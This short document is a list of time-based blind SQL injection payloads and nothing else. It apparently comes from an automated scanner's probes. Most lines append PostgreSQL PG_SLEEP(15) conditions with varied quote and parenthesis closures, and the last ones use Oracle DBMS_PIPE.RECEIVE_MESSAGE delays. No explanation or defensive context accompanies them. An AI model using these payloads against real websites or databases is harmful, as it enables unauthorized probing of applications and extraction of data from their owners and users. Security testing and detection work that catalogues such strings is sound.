555-1 OR 763=(SELECT 763 FROM PG_SLEEP(15))--

555-1) OR 643=(SELECT 643 FROM PG_SLEEP(15))--

555-1)) OR 918=(SELECT 918 FROM PG_SLEEP(15))--

555sUVFQmXi' OR 579=(SELECT 579 FROM PG_SLEEP(15))--

555ClvrDtLn') OR 521=(SELECT 521 FROM PG_SLEEP(15))--

555m2cgKrJ9')) OR 345=(SELECT 345 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555